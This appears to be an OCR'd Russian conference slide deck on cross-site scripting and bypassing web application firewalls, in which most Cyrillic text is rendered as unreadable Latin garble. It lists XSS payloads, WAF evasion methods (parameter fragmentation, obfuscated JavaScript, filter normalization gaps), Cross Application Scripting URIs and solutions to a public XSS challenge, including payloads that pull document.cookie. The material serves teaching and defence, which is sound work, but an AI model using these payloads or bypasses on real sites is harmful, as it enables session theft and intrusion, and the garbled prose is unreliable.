XSS vs WAF
Best practice
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XSS: Cross Site Scripting

* MexcanToBoe BbINONHEHWE CLIEHAPUEB

* MoxeT ObITb NCMOMb30BAHO 3M10YMbILLTEHHUKOM
0ns nonyyeHust gaHHbIX (cookie, DOM, etc),
nposeaeHus apyrux atak (CSRF, SPAM).

 Knaccuyeckuu npumep:

<input type=text
value=""><script>alert(document.cookie)</script>">
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XSS: MexayHapoaHast knaccudukaums

* Reflected (non-persistent) — otpaxeHHsle. OTBeT
cepBepa CoAEePXKMUT AaHHbIEe 13 3anpoca.

o Stored (persistent) — xpaHumble. OTBET cepBepa
COAEPXUT AaHHbIe, BHEPEHHbIE PAHEe.

* DOM based — anHamunueckue. CtpaHuLia Ha
KITMEHTCKON CTOPOHE AMHAMNYECKN MOXET ObITb
M3MEHEHA JaHHbIMKM 3anpoca.
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XSS: TexHnyeckast knaccupukaLms
* BHeppeHue Tara:

<inputtype=textvalue=><script>alert(1337)</script>
* BHegpeHue aTpubyTa:
<a href="http://cmc.msu.su’ onclick=alert(1337) a=">

* BHeapeHWe B aKTMBHOE COAEPXNMOe
(JavaScript,SWF,PDF):

if (text=="a’|| alert(1337) || ) {
* BHeapeHue B 3aronosok HT TP oTteeTa, apyroe:

Location: javascript:alert(1) - miXSS
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miXSS: meta information XSS
* TylerReguly, nCircle at 06.04.2010

Command Prompt

C:w>nslookup —g=TAT redirect.sslfail.com ns.zlaszshconslashcon.com
%% Can't find server name for address Y4.208.78.200: Query refused

UnKnown
74_208 .78 _280

redirect.sslfail.com

"{zcript language="'JavaScript’ >window.location="http: - wm.szlfail.com’;
<Szocript "
ce]lfail.com nameserver = ns.slashconslashcon.com
sz 1fail.com nameserver = nzl.twisted4dlife.com
ns.slashconslashcon.com internet address = Y4.288.78.200
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XSS: Knaccupukaums no peannsaumm

 TpebytoLne aencTBn NonNb3OBaTENS:

<a href="a’ onmouseover=alert(1337) style="font-
size:500px">

 ABTOHOMHbIE:

<input type=text value=aonfocus=alert(1337)
AUTOFOCUS>
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XSS: latest examples
* Twitter 21.09.2010:

http:/ftwitter.com/nn#@"onmouseover="alert(1337);"/
* Youtube 04.07.2010:

o

¢ 30,036,950 =
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From XSS to CAS: Bce HOBOE — 3T0..
 Cross Application Scripting

* MHoxecTtBo GUI noHmmaet HTML
2

File Edit View Bookmarks Tools Settings Help

B & B X 9

Mew Open Save Save As Close Lndo

>

1 370 npamep c CAS B

B2 TekcTOBOM pefgakTope KwWrite.
=

[
Line: 2 Col: 1 INS LINE CAS

http://www.backtrack-linux.org/backtrack/cross-application-
scripting-all-you-kde-are-belong-to-us/
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IPhone/iPad CAS prototypes

* SMS manager:

tel:/+7123213%call

 Safari:

<iframe src="skype:/[+278367127call’>
 Mail manager:

[Tprmep 3aKpbIT 40 YCTPaHEHNA YA3BUMOCTH
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tel:/+7123213?call

WAF: Web Application Firewall

 brnokupyet nogo3puTenbHbIN 3anpoc
* lcnpaBngdeT nogo3puTenbHbIv 3anpoc
 bnokupyeTt NCTOYHMK NOAO3PUTENBHOIO 3anpoca

* [logo3puTenbHbIN NO cUrHaTypam
— MOAXOAWT Nop, per. BbipaXeHne, Thna: «Onmouse™».

* [lopo3puTenbHbIM MO Npasunam

— 3anpoc 6e3 npeabIiCTopun (cpasy Ha CTPaHWULY CMEHbI
napons 6e3 noceLyeHns rnasHoOM)

BKJIOUM 6Q§HEHEI: * nOpa ﬂpOCbII'laTbCﬂ



WAF: cnoXxHocTtu B peanu3aLum
* [IpoCTble CUrHATYpPbI YaCTOo OLLINDAIOTCA:

VU <>[{}H)

* CnoxHble curHaTtypbl BCEraa HenomnHble 13-3a
pa3Hoobpasnsa bpay3epos 1 Npou.

onmouseover -> onmouseenter

» [laHHble HaJo Hopmanu3oBaTh Nepen
CUrHaTYPHbIM aHanM3om

e&H#I2Xp&#92red&#9258#92s&#921&#9208#92n(alert
(1337))
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WAF: cnoXxHocTtu B peanu3aLum

 ECTb QoyHKUMOHanN Beb-npunoxenus, rae WAF
nomkeH obiTb oTkntodeH (HTML pepakTop)

* Beb-npunoxeHne MoxeT BbITb YS3BUMO AN
chparMeHTUPOBaHHbIX aTak

http://localhost/t.php?a=<scri&a=pt>&a=alert(1)&a=<
[scri&a=pt>

« Hapo Bctpauath UHTEpnpeTatop JavaScript:

document[(![]+/./)[B]+('[]1+/./)[1]1+(![]+/./)[1]+String.from
CharCode(75,73)+(![]+/./)[4]]
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HOWTO find WAF 0Oday :)

"/

"Touck He unbTpyeMblx aaHHbIX (_FILES,
RI...)

OMCK OLLNOOK B HOpManu3auum

(uni/*union*/on, \u000000028)

"loucK He PUNBLTPYEMbIX CUTHATYP
OMCK ownboK norukmn (XSS threw white list)

e OcTanbHble MeToab!
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HOWTO find WAF Oday ;)

* [Tonpobyunte nposeputs WAF Ha domunbTpauumto
JavaScript dyHkumm setinterval()

* setInterval— aHanor setTimeout, BBeaeHHbIV And
COBMECTUMOCTM CO CTapbIMK Bepcuamu JavaScript

* ITY PYHKUMIO NOYeMY-TO 3abbIBaOT 400aBNATL B
CUTHaTYpbI, OrpaHnyMBadch TonbKo setTimeout

 Takux npuMepoB 04eHb-04YEHb MHOIO, MOCMOTPUTE
XO0Ts1 Obl CNIUCOK CODbLITUM Ha
http://msdn.microsoft.com/en-
us/library/ms533051(VS.85).aspx
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http://msdn.microsoft.com/en-us/library/ms533051(VS.85).aspx
http://msdn.microsoft.com/en-us/library/ms533051(VS.85).aspx
http://msdn.microsoft.com/en-us/library/ms533051(VS.85).aspx

[TpoBegeM aKCnepnMeHT
* Opened XSS challenge at hitp://onsec.ru/t.php

« WAF qunbtpyet

<, >, (), /IB$_GET, $_POST, $_COOKIE, $_FILE
* BHenpeHus B koA
« “<inputtype="text' name="text' value="".3_GET[text]. “ >’

* “<input type="text' name="search’
value=".$_POST['search’].”>”

* “<h3 onmouseover=".$_GET['aaa’].”>"
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http://onsec.ru/t.php

[TpoBeeM aKcnepuMeHT
* Opened XSS challenge at hitp://onsec.ru/t.php

* PeleHuns ot oRB [rdot.org]

ft.php?aaa=document.location.href=[document.referrer,docu
ment.cookie]

ft.php?aaa=document.location=[/javascript:1/.source,location
pathname,location.hash]#/;alert(document.cookie);

* PelleHune ot asddas [rdot.org]

ft.php?aaa=document.location.href=document.forms|0].text.v
alue&text=http:\\google.com
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[TpoBegeM aKCnepnMeHT
* Opened XSS challenge at hitp://onsec.ru/t.php

* PelueHue ot Bnaga PockoBa [vos.uz]

ft.php?aaa=document.all[5][window.name]=location.hash#
<input style=width:100% ;height:100%
onmouseover="alert({document.cookie)">

« (Cawmoe aneraHTHoe pelueHne ot Ruben Ventura [thr3w]

ft.php?aaa=location.href=% 26quot;javascript:alertiu0028/XS
S/.source\u0029% 26quot;
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WAF: Tak nn Bce nnoxo?

» WAF obOHapyxuBaeT 3noyMbILLEHHMKA

» \WWAF 3aKpbIBaeT Kakune-To BEKTOPa aTaku

* \WWAF — xopowuu, caenauTte ero elle nydiue!
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BOMNPOCbI 777

KOHTAKTbI:
DO0znpp@ONSEC.RU
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